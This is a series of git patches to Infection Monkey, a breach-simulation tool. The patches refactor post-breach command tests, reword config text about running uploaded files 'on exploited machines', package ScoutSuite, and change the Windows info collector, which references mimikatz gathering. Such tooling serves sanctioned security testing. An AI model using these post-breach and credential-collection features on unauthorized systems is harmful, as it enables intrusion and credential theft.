mock_UsersPBA_linux_custom_file_and_cmd_separate( + set_os_linux, fake_monkey_dir_path, monkeypatch +): + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", + CUSTOM_LINUX_CMD_SEPARATE, + ) + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.PBA_linux_filename", + CUSTOM_LINUX_FILENAME, + ) + return UsersPBA() + + +def test_command_list_linux_custom_file_and_cmd_separate( + mock_UsersPBA_linux_custom_file_and_cmd_separate, +): + expected_command_list = [ + f"cd {MONKEY_DIR_PATH} ; {CUSTOM_LINUX_CMD_SEPARATE}", + f"chmod +x {MONKEY_DIR_PATH}{CUSTOM_LINUX_FILENAME} ; {MONKEY_DIR_PATH}{CUSTOM_LINUX_FILENAME} ; " + + f"rm {MONKEY_DIR_PATH}{CUSTOM_LINUX_FILENAME}", + ] + assert ( + mock_UsersPBA_linux_custom_file_and_cmd_separate.command_list + == expected_command_list + ) + + +@pytest.fixture +def mock_UsersPBA_windows_custom_file_and_cmd_separate( + set_os_windows, fake_monkey_dir_path, monkeypatch +): + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", + CUSTOM_WINDOWS_CMD_SEPARATE, + ) + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.PBA_windows_filename", + CUSTOM_WINDOWS_FILENAME, + ) + return UsersPBA() + + +def test_command_list_windows_custom_file_and_cmd_separate( + mock_UsersPBA_windows_custom_file_and_cmd_separate, +): + expected_command_list = [ + f"cd {MONKEY_DIR_PATH} & {CUSTOM_WINDOWS_CMD_SEPARATE}", + f"{MONKEY_DIR_PATH}{CUSTOM_WINDOWS_FILENAME} & del {MONKEY_DIR_PATH}{CUSTOM_WINDOWS_FILENAME}", + ] + assert ( + mock_UsersPBA_windows_custom_file_and_cmd_separate.command_list + == expected_command_list + ) + + +@pytest.fixture +def mock_UsersPBA_linux_custom_file_and_cmd_related( + set_os_linux, fake_monkey_dir_path, monkeypatch +): + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", + CUSTOM_LINUX_CMD_RELATED, + ) + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.PBA_linux_filename", + CUSTOM_LINUX_FILENAME, + ) + return UsersPBA() + + +def test_command_list_linux_custom_file_and_cmd_related( + mock_UsersPBA_linux_custom_file_and_cmd_related, +): + expected_command_list = [f"cd {MONKEY_DIR_PATH} ; {CUSTOM_LINUX_CMD_RELATED}"] + assert ( + mock_UsersPBA_linux_custom_file_and_cmd_related.command_list + == expected_command_list + ) + + +@pytest.fixture +def mock_UsersPBA_windows_custom_file_and_cmd_related( + set_os_windows, fake_monkey_dir_path, monkeypatch +): + + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", + CUSTOM_WINDOWS_CMD_RELATED, + ) + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.PBA_windows_filename", + CUSTOM_WINDOWS_FILENAME, + ) + return UsersPBA() + + +def test_command_list_windows_custom_file_and_cmd_related( + mock_UsersPBA_windows_custom_file_and_cmd_related, +): + expected_command_list = [ + f"cd {MONKEY_DIR_PATH} & {CUSTOM_WINDOWS_CMD_RELATED}", + ] + assert ( + mock_UsersPBA_windows_custom_file_and_cmd_related.command_list + == expected_command_list + ) + + +@pytest.fixture +def mock_UsersPBA_linux_custom_file(set_os_linux, fake_monkey_dir_path, monkeypatch): + + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", None + ) + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.PBA_linux_filename", + CUSTOM_LINUX_FILENAME, + ) + return UsersPBA() + + +def test_command_list_linux_custom_file(mock_UsersPBA_linux_custom_file): + expected_command_list = [ + f"chmod +x {MONKEY_DIR_PATH}{CUSTOM_LINUX_FILENAME} ; {MONKEY_DIR_PATH}{CUSTOM_LINUX_FILENAME} ; " + + f"rm {MONKEY_DIR_PATH}{CUSTOM_LINUX_FILENAME}" + ] + + assert mock_UsersPBA_linux_custom_file.command_list == expected_command_list + + +@pytest.fixture +def mock_UsersPBA_windows_custom_file( + set_os_windows, fake_monkey_dir_path, monkeypatch +): + + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", None + ) + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.PBA_windows_filename", + CUSTOM_WINDOWS_FILENAME, + ) + return UsersPBA() + + +def test_command_list_windows_custom_file(mock_UsersPBA_windows_custom_file): + expected_command_list = [ + f"{MONKEY_DIR_PATH}{CUSTOM_WINDOWS_FILENAME} & del {MONKEY_DIR_PATH}{CUSTOM_WINDOWS_FILENAME}", + ] + assert mock_UsersPBA_windows_custom_file.command_list == expected_command_list + + +@pytest.fixture +def mock_UsersPBA_linux_custom_cmd(set_os_linux, fake_monkey_dir_path, monkeypatch): + + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", + CUSTOM_LINUX_CMD_SEPARATE, + ) + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.PBA_linux_filename", None + ) + return UsersPBA() + + +def test_command_list_linux_custom_cmd(mock_UsersPBA_linux_custom_cmd): + expected_command_list = [CUSTOM_LINUX_CMD_SEPARATE] + assert mock_UsersPBA_linux_custom_cmd.command_list == expected_command_list + + +@pytest.fixture +def mock_UsersPBA_windows_custom_cmd(set_os_windows, fake_monkey_dir_path, monkeypatch): + + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", + CUSTOM_WINDOWS_CMD_SEPARATE, + ) + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.PBA_windows_filename", None + ) + return UsersPBA() + + +def test_command_list_windows_custom_cmd(mock_UsersPBA_windows_custom_cmd): + expected_command_list = [CUSTOM_WINDOWS_CMD_SEPARATE] + assert mock_UsersPBA_windows_custom_cmd.command_list == expected_command_list From 9167aa6460e70f2febbf4d740da841ce8ede97bf Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 10 Mar 2021 12:44:51 +0530 Subject: [PATCH 427/466] Unit test modifications --- .../tests/actions/test_users_custom_pba.py | 133 ++++-------------- 1 file changed, 29 insertions(+), 104 deletions(-) diff --git a/monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py b/monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py index dab6ee59e..83af6e00a 100644 --- a/monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py @@ -1,16 +1,13 @@ import pytest from infection_monkey.post_breach.actions.users_custom_pba import ( - DEFAULT_LINUX_COMMAND, DEFAULT_WINDOWS_COMMAND, DIR_CHANGE_LINUX, - DIR_CHANGE_WINDOWS, UsersPBA) + DIR_CHANGE_LINUX, DIR_CHANGE_WINDOWS, UsersPBA) MONKEY_DIR_PATH = "/dir/to/monkey/" -CUSTOM_LINUX_CMD_SEPARATE = "command-for-linux" +CUSTOM_LINUX_CMD = "command-for-linux" CUSTOM_LINUX_FILENAME = "filename-for-linux" -CUSTOM_LINUX_CMD_RELATED = f"command-with-{CUSTOM_LINUX_FILENAME}" -CUSTOM_WINDOWS_CMD_SEPARATE = "command-for-windows" +CUSTOM_WINDOWS_CMD = "command-for-windows" CUSTOM_WINDOWS_FILENAME = "filename-for-windows" -CUSTOM_WINDOWS_CMD_RELATED = f"command-with-{CUSTOM_WINDOWS_FILENAME}" @pytest.fixture @@ -38,12 +35,12 @@ def set_os_windows(monkeypatch): @pytest.fixture -def mock_UsersPBA_linux_custom_file_and_cmd_separate( +def mock_UsersPBA_linux_custom_file_and_cmd( set_os_linux, fake_monkey_dir_path, monkeypatch ): monkeypatch.setattr( "infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", - CUSTOM_LINUX_CMD_SEPARATE, + CUSTOM_LINUX_CMD, ) monkeypatch.setattr( "infection_monkey.config.WormConfiguration.PBA_linux_filename", @@ -52,27 +49,20 @@ def mock_UsersPBA_linux_custom_file_and_cmd_separate( return UsersPBA() -def test_command_list_linux_custom_file_and_cmd_separate( - mock_UsersPBA_linux_custom_file_and_cmd_separate, +def test_command_linux_custom_file_and_cmd( + mock_UsersPBA_linux_custom_file_and_cmd, ): - expected_command_list = [ - f"cd {MONKEY_DIR_PATH} ; {CUSTOM_LINUX_CMD_SEPARATE}", - f"chmod +x {MONKEY_DIR_PATH}{CUSTOM_LINUX_FILENAME} ; {MONKEY_DIR_PATH}{CUSTOM_LINUX_FILENAME} ; " + - f"rm {MONKEY_DIR_PATH}{CUSTOM_LINUX_FILENAME}", - ] - assert ( - mock_UsersPBA_linux_custom_file_and_cmd_separate.command_list - == expected_command_list - ) + expected_command = f"cd {MONKEY_DIR_PATH} ; {CUSTOM_LINUX_CMD}" + assert mock_UsersPBA_linux_custom_file_and_cmd.command == expected_command @pytest.fixture -def mock_UsersPBA_windows_custom_file_and_cmd_separate( +def mock_UsersPBA_windows_custom_file_and_cmd( set_os_windows, fake_monkey_dir_path, monkeypatch ): monkeypatch.setattr( "infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", - CUSTOM_WINDOWS_CMD_SEPARATE, + CUSTOM_WINDOWS_CMD, ) monkeypatch.setattr( "infection_monkey.config.WormConfiguration.PBA_windows_filename", @@ -81,70 +71,11 @@ def mock_UsersPBA_windows_custom_file_and_cmd_separate( return UsersPBA() -def test_command_list_windows_custom_file_and_cmd_separate( - mock_UsersPBA_windows_custom_file_and_cmd_separate, +def test_command_windows_custom_file_and_cmd( + mock_UsersPBA_windows_custom_file_and_cmd, ): - expected_command_list = [ - f"cd {MONKEY_DIR_PATH} & {CUSTOM_WINDOWS_CMD_SEPARATE}", - f"{MONKEY_DIR_PATH}{CUSTOM_WINDOWS_FILENAME} & del {MONKEY_DIR_PATH}{CUSTOM_WINDOWS_FILENAME}", - ] - assert ( - mock_UsersPBA_windows_custom_file_and_cmd_separate.command_list - == expected_command_list - ) - - -@pytest.fixture -def mock_UsersPBA_linux_custom_file_and_cmd_related( - set_os_linux, fake_monkey_dir_path, monkeypatch -): - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", - CUSTOM_LINUX_CMD_RELATED, - ) - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.PBA_linux_filename", - CUSTOM_LINUX_FILENAME, - ) - return UsersPBA() - - -def test_command_list_linux_custom_file_and_cmd_related( - mock_UsersPBA_linux_custom_file_and_cmd_related, -): - expected_command_list = [f"cd {MONKEY_DIR_PATH} ; {CUSTOM_LINUX_CMD_RELATED}"] - assert ( - mock_UsersPBA_linux_custom_file_and_cmd_related.command_list - == expected_command_list - ) - - -@pytest.fixture -def mock_UsersPBA_windows_custom_file_and_cmd_related( - set_os_windows, fake_monkey_dir_path, monkeypatch -): - - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", - CUSTOM_WINDOWS_CMD_RELATED, - ) - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.PBA_windows_filename", - CUSTOM_WINDOWS_FILENAME, - ) - return UsersPBA() - - -def test_command_list_windows_custom_file_and_cmd_related( - mock_UsersPBA_windows_custom_file_and_cmd_related, -): - expected_command_list = [ - f"cd {MONKEY_DIR_PATH} & {CUSTOM_WINDOWS_CMD_RELATED}", - ] - assert ( - mock_UsersPBA_windows_custom_file_and_cmd_related.command_list - == expected_command_list - ) + expected_command = f"cd {MONKEY_DIR_PATH} & {CUSTOM_WINDOWS_CMD}" + assert mock_UsersPBA_windows_custom_file_and_cmd.command == expected_command @pytest.fixture @@ -160,13 +91,9 @@ def mock_UsersPBA_linux_custom_file(set_os_linux, fake_monkey_dir_path, monkeypa return UsersPBA() -def test_command_list_linux_custom_file(mock_UsersPBA_linux_custom_file): - expected_command_list = [ - f"chmod +x {MONKEY_DIR_PATH}{CUSTOM_LINUX_FILENAME} ; {MONKEY_DIR_PATH}{CUSTOM_LINUX_FILENAME} ; " + - f"rm {MONKEY_DIR_PATH}{CUSTOM_LINUX_FILENAME}" - ] - - assert mock_UsersPBA_linux_custom_file.command_list == expected_command_list +def test_command_linux_custom_file(mock_UsersPBA_linux_custom_file): + expected_command = "" + assert mock_UsersPBA_linux_custom_file.command == expected_command @pytest.fixture @@ -184,11 +111,9 @@ def mock_UsersPBA_windows_custom_file( return UsersPBA() -def test_command_list_windows_custom_file(mock_UsersPBA_windows_custom_file): - expected_command_list = [ - f"{MONKEY_DIR_PATH}{CUSTOM_WINDOWS_FILENAME} & del {MONKEY_DIR_PATH}{CUSTOM_WINDOWS_FILENAME}", - ] - assert mock_UsersPBA_windows_custom_file.command_list == expected_command_list +def test_command_windows_custom_file(mock_UsersPBA_windows_custom_file): + expected_command = "" + assert mock_UsersPBA_windows_custom_file.command == expected_command @pytest.fixture @@ -196,7 +121,7 @@ def mock_UsersPBA_linux_custom_cmd(set_os_linux, fake_monkey_dir_path, monkeypat monkeypatch.setattr( "infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", - CUSTOM_LINUX_CMD_SEPARATE, + CUSTOM_LINUX_CMD, ) monkeypatch.setattr( "infection_monkey.config.WormConfiguration.PBA_linux_filename", None @@ -204,9 +129,9 @@ def mock_UsersPBA_linux_custom_cmd(set_os_linux, fake_monkey_dir_path, monkeypat return UsersPBA() -def test_command_list_linux_custom_cmd(mock_UsersPBA_linux_custom_cmd): - expected_command_list = [CUSTOM_LINUX_CMD_SEPARATE] - assert mock_UsersPBA_linux_custom_cmd.command_list == expected_command_list +def test_command_linux_custom_cmd(mock_UsersPBA_linux_custom_cmd): + expected_command = CUSTOM_LINUX_CMD + assert mock_UsersPBA_linux_custom_cmd.command == expected_command @pytest.fixture @@ -214,7 +139,7 @@ def mock_UsersPBA_windows_custom_cmd(set_os_windows, fake_monkey_dir_path, monke monkeypatch.setattr( "infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", - CUSTOM_WINDOWS_CMD_SEPARATE, + CUSTOM_WINDOWS_CMD, ) monkeypatch.setattr( "infection_monkey.config.WormConfiguration.PBA_windows_filename", None @@ -222,6 +147,6 @@ def mock_UsersPBA_windows_custom_cmd(set_os_windows, fake_monkey_dir_path, monke return UsersPBA() -def test_command_list_windows_custom_cmd(mock_UsersPBA_windows_custom_cmd): - expected_command_list = [CUSTOM_WINDOWS_CMD_SEPARATE] - assert mock_UsersPBA_windows_custom_cmd.command_list == expected_command_list +def test_command_windows_custom_cmd(mock_UsersPBA_windows_custom_cmd): + expected_command = CUSTOM_WINDOWS_CMD + assert mock_UsersPBA_windows_custom_cmd.command == expected_command From 4928109be2ff9c0aff6c7ad4894147b2312696ab Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 11 Mar 2021 18:42:01 +0530 Subject: [PATCH 428/466] Rephrase custom PBA file config descriptions --- .../cc/services/config_schema/monkey.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/monkey.py b/monkey/monkey_island/cc/services/config_schema/monkey.py index faf27c481..f54b79886 100644 --- a/monkey/monkey_island/cc/services/config_schema/monkey.py +++ b/monkey/monkey_island/cc/services/config_schema/monkey.py @@ -11,33 +11,33 @@ MONKEY = { "type": "object", "properties": { "custom_PBA_linux_cmd": { - "title": "Linux post breach command", + "title": "Linux post-breach command", "type": "string", "default": "", "description": "Linux command to be executed after breaching." }, "PBA_linux_file": { - "title": "Linux post breach file", + "title": "Linux post-breach file", "type": "string", "format": "data-url", "description": "File to be uploaded after breaching. " - "If you want the file to be executed, " - "specify it in the 'Linux post breach command' field. " + "Use the 'Linux post-breach command' field to " + "change permissions, run, or delete the file. " "Reference your file by filename." }, "custom_PBA_windows_cmd": { - "title": "Windows post breach command", + "title": "Windows post-breach command", "type": "string", "default": "", "description": "Windows command to be executed after breaching." }, "PBA_windows_file": { - "title": "Windows post breach file", + "title": "Windows post-breach file", "type": "string", "format": "data-url", "description": "File to be uploaded after breaching. " - "If you want the file to be executed, " - "specify it in the 'Windows post breach command' field. " + "Use the 'Windows post-breach command' field to " + "change permissions, run, or delete the file. " "Reference your file by filename." }, "PBA_windows_filename": { From 2b4fd9e9a7dae299887600a5258b6141cb0729e1 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 11 Mar 2021 18:55:00 +0530 Subject: [PATCH 429/466] Rephrase custom PBA command config descriptions --- .../monkey_island/cc/services/config_schema/monkey.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/monkey.py b/monkey/monkey_island/cc/services/config_schema/monkey.py index f54b79886..82a394b65 100644 --- a/monkey/monkey_island/cc/services/config_schema/monkey.py +++ b/monkey/monkey_island/cc/services/config_schema/monkey.py @@ -14,7 +14,10 @@ MONKEY = { "title": "Linux post-breach command", "type": "string", "default": "", - "description": "Linux command to be executed after breaching." + "description": "Command to be executed after breaching. " + "Use this field to run custom commands or execute uploaded " + "files on exploited machines.\nExample: " + "\"chmod +x ./my_script.sh; ./my_script.sh ; rm ./my_script.sh\"" }, "PBA_linux_file": { "title": "Linux post-breach file", @@ -29,7 +32,10 @@ MONKEY = { "title": "Windows post-breach command", "type": "string", "default": "", - "description": "Windows command to be executed after breaching." + "description": "Command to be executed after breaching. " + "Use this field to run custom commands or execute uploaded " + "files on exploited machines.\nExample: " + "\"my_script.bat & del my_script.bat\"" }, "PBA_windows_file": { "title": "Windows post-breach file", From c6fd7ae5e8d63cb728aec3471128f9a1443a7605 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 16 Mar 2021 09:11:45 +0200 Subject: [PATCH 430/466] Refactored ScoutSuite into a separate package rather than submodule --- .gitmodules | 3 --- monkey/common/cloud/scoutsuite | 1 - monkey/infection_monkey/monkey.spec | 27 ++++++++++++------- monkey/infection_monkey/requirements.txt | 1 + .../scoutsuite_collector/__init__.py | 15 ----------- .../scoutsuite_collector/scoutsuite_api.py | 5 ---- .../scoutsuite_collector.py | 13 ++++----- .../telemetry/scoutsuite_telem.py | 4 +-- .../zero_trust/scoutsuite/__init__.py | 13 --------- .../scoutsuite/scoutsuite_auth_service.py | 2 +- monkey/monkey_island/requirements.txt | 1 + 11 files changed, 29 insertions(+), 56 deletions(-) delete mode 160000 monkey/common/cloud/scoutsuite delete mode 100644 monkey/infection_monkey/system_info/collectors/scoutsuite_collector/__init__.py delete mode 100644 monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_api.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/__init__.py diff --git a/.gitmodules b/.gitmodules index b898f160a..2fb33dd37 100644 --- a/.gitmodules +++ b/.gitmodules @@ -4,6 +4,3 @@ [submodule "docs/themes/learn"] path = docs/themes/learn url = https://github.com/guardicode/hugo-theme-learn.git -[submodule "monkey/infection_monkey/system_info/collectors/scoutsuite"] - path = monkey/common/cloud/scoutsuite - url = https://github.com/guardicode/ScoutSuite.git diff --git a/monkey/common/cloud/scoutsuite b/monkey/common/cloud/scoutsuite deleted file mode 160000 index 9de1e78ba..000000000 --- a/monkey/common/cloud/scoutsuite +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 9de1e78ba475f925c66c5b645564ec9eb08e2309 diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index 51bd4bb83..2031ee92a 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -1,15 +1,17 @@ # -*- mode: python -*- import os -import sys import platform - +import sys __author__ = 'itay.mizeretz' +from PyInstaller.utils.hooks import collect_data_files + block_cipher = None def main(): + print(collect_data_files('policyuniverse')) a = Analysis(['main.py'], pathex=['..'], hiddenimports=get_hidden_imports(), @@ -17,7 +19,7 @@ def main(): runtime_hooks=None, binaries=None, datas=[ - ("../common/BUILD", "/common") + ("../common/BUILD", "/common") ], excludes=None, win_no_prefer_redirects=None, @@ -48,7 +50,7 @@ def is_windows(): def is_32_bit(): - return sys.maxsize <= 2**32 + return sys.maxsize <= 2 ** 32 def get_bin_folder(): @@ -79,7 +81,12 @@ def get_linux_only_binaries(): def get_hidden_imports(): - return ['_cffi_backend', 'queue', '_mssql'] if is_windows() else ['_cffi_backend','_mssql'] + imports = ['ScoutSuite'] + if is_windows(): + imports.extend(['_cffi_backend', 'queue', '_mssql']) + else: + imports.extend(['_cffi_backend', '_mssql']) + return imports def get_sc_binaries(): @@ -94,15 +101,15 @@ def get_traceroute_binaries(): def get_monkey_filename(): name = 'monkey-' if is_windows(): - name = name+"windows-" + name = name + "windows-" else: - name = name+"linux-" + name = name + "linux-" if is_32_bit(): - name = name+"32" + name = name + "32" else: - name = name+"64" + name = name + "64" if is_windows(): - name = name+".exe" + name = name + ".exe" return name diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt index dc0ab227e..e478095ac 100644 --- a/monkey/infection_monkey/requirements.txt +++ b/monkey/infection_monkey/requirements.txt @@ -16,3 +16,4 @@ pypykatz==0.3.12 pysmb==1.2.5 requests>=2.24 wmi==1.5.1 ; sys_platform == 'win32' +git+https://github.com/guardicode/ScoutSuite diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/__init__.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/__init__.py deleted file mode 100644 index 97e736b4b..000000000 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/__init__.py +++ /dev/null @@ -1,15 +0,0 @@ -import pkgutil -import sys -from pathlib import PurePath - -_scoutsuite_api_package = pkgutil.get_loader('common.cloud.scoutsuite.ScoutSuite.__main__') - - -def _add_scoutsuite_to_python_path(): - scoutsuite_path = PurePath(_scoutsuite_api_package.path).parent.parent.__str__() - sys.path.append(scoutsuite_path) - - -# Add ScoutSuite to python path because this way -# we don't need to change any imports in ScoutSuite code -_add_scoutsuite_to_python_path() diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_api.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_api.py deleted file mode 100644 index 88ef32293..000000000 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_api.py +++ /dev/null @@ -1,5 +0,0 @@ -import common.cloud.scoutsuite.ScoutSuite.api_run as scoutsuite_api - - -def run(*args, **kwargs): - return scoutsuite_api.run(*args, **kwargs) diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py index c637e3593..79aabea56 100644 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py +++ b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py @@ -1,8 +1,9 @@ import logging from typing import Union -import infection_monkey.system_info.collectors.scoutsuite_collector.scoutsuite_api as scoutsuite_api -from common.cloud.scoutsuite.ScoutSuite.providers.base.provider import BaseProvider +import ScoutSuite.api_run +from ScoutSuite.providers.base.provider import BaseProvider + from common.cloud.scoutsuite_consts import CloudProviders from common.utils.exceptions import ScoutSuiteScanError from infection_monkey.config import WormConfiguration @@ -22,10 +23,10 @@ def scan_cloud_security(cloud_type: CloudProviders): def run_scoutsuite(cloud_type: str) -> Union[BaseProvider, dict]: - return scoutsuite_api.run(provider=cloud_type, - aws_access_key_id=WormConfiguration.aws_access_key_id, - aws_secret_access_key=WormConfiguration.aws_secret_access_key, - aws_session_token=WormConfiguration.aws_session_token) + return ScoutSuite.api_run.run(provider=cloud_type, + aws_access_key_id=WormConfiguration.aws_access_key_id, + aws_secret_access_key=WormConfiguration.aws_secret_access_key, + aws_session_token=WormConfiguration.aws_session_token) def send_scoutsuite_run_results(run_results: BaseProvider): diff --git a/monkey/infection_monkey/telemetry/scoutsuite_telem.py b/monkey/infection_monkey/telemetry/scoutsuite_telem.py index 16cf47bdd..ba112f8b9 100644 --- a/monkey/infection_monkey/telemetry/scoutsuite_telem.py +++ b/monkey/infection_monkey/telemetry/scoutsuite_telem.py @@ -1,5 +1,5 @@ -from common.cloud.scoutsuite.ScoutSuite.output.result_encoder import ScoutJsonEncoder -from common.cloud.scoutsuite.ScoutSuite.providers.base.provider import BaseProvider +from ScoutSuite.output.result_encoder import ScoutJsonEncoder +from ScoutSuite.providers.base.provider import BaseProvider from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/__init__.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/__init__.py deleted file mode 100644 index e8a36338b..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/__init__.py +++ /dev/null @@ -1,13 +0,0 @@ -import pkgutil -import sys -from pathlib import PurePath - -_scoutsuite_api_package = pkgutil.get_loader('common.cloud.scoutsuite.ScoutSuite.__main__') - - -def _add_scoutsuite_to_python_path(): - scoutsuite_path = PurePath(_scoutsuite_api_package.path).parent.parent.__str__() - sys.path.append(scoutsuite_path) - - -_add_scoutsuite_to_python_path() diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py index b5d405234..701598168 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py @@ -14,7 +14,7 @@ def is_cloud_authentication_setup(provider: CloudProviders) -> Tuple[bool, str]: if is_aws_keys_setup(): return True, "AWS keys already setup." - import common.cloud.scoutsuite.ScoutSuite.providers.aws.authentication_strategy as auth_strategy + import ScoutSuite.providers.aws.authentication_strategy as auth_strategy try: profile = auth_strategy.AWSAuthenticationStrategy().authenticate() return True, f" Profile \"{profile.session.profile_name}\" is already setup. " diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt index 3cb3a4e42..ddbf2418a 100644 --- a/monkey/monkey_island/requirements.txt +++ b/monkey/monkey_island/requirements.txt @@ -26,5 +26,6 @@ tqdm>=4.47 virtualenv>=20.0.26 werkzeug>=1.0.1 wheel>=0.34.2 +git+https://github.com/guardicode/ScoutSuite pyjwt>=1.5.1 # not directly required, pinned by Snyk to avoid a vulnerability From 90d9d5933a54754021321b1c1a349bbf1200bd0a Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 15 Mar 2021 18:11:26 +0530 Subject: [PATCH 431/466] Handle UnicodeDecodeError when getting installed packages on Windows systems --- .../system_info/windows_info_collector.py | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 38feb6815..657746e84 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -47,8 +47,19 @@ class WindowsInfoCollector(InfoCollector): def get_installed_packages(self): LOG.info('getting installed packages') - self.info["installed_packages"] = os.popen("dism /online /get-packages").read() - self.info["installed_features"] = os.popen("dism /online /get-features").read() + + packages = subprocess.Popen("dism /online /get-packages", shell=True, stdout=subprocess.PIPE).stdout.read() + try: + self.info["installed_packages"] = packages.decode('utf-8') + except UnicodeDecodeError: + self.info["installed_packages"] = packages.decode('raw-unicode-escape') + + features = subprocess.Popen("dism /online /get-features", shell=True, stdout=subprocess.PIPE).stdout.read() + try: + self.info["installed_features"] = features.decode('utf-8') + except UnicodeDecodeError: + self.info["installed_features"] = features.decode('raw-unicode-escape') + LOG.debug('Got installed packages') def get_wmi_info(self): From ece4e6e9119318aa16f42980eed9065525031a95 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 16 Mar 2021 15:26:20 +0530 Subject: [PATCH 432/466] Change import --- monkey/infection_monkey/system_info/windows_info_collector.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 657746e84..1960126a5 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -1,5 +1,5 @@ import logging -import os +import subprocess import sys from common.common_consts.system_info_collectors_names import MIMIKATZ_COLLECTOR From 5192953dd008e6a904dc55e68f304e5bb96f2bd4 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 16 Mar 2021 15:27:06 +0530 Subject: [PATCH 433/466] Unrelated log statement changes --- .../infection_monkey/system_info/windows_info_collector.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 1960126a5..81b0c8125 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -46,7 +46,7 @@ class WindowsInfoCollector(InfoCollector): return self.info def get_installed_packages(self): - LOG.info('getting installed packages') + LOG.info('Getting installed packages') packages = subprocess.Popen("dism /online /get-packages", shell=True, stdout=subprocess.PIPE).stdout.read() try: @@ -63,10 +63,10 @@ class WindowsInfoCollector(InfoCollector): LOG.debug('Got installed packages') def get_wmi_info(self): - LOG.info('getting wmi info') + LOG.info('Getting wmi info') for wmi_class_name in WMI_CLASSES: self.info['wmi'][wmi_class_name] = WMIUtils.get_wmi_class(wmi_class_name) - LOG.debug('finished get_wmi_info') + LOG.debug('Finished get_wmi_info') def get_mimikatz_info(self): LOG.info("Gathering mimikatz info") From 2925815fd3d6a098244b5c45925a95660e1a538c 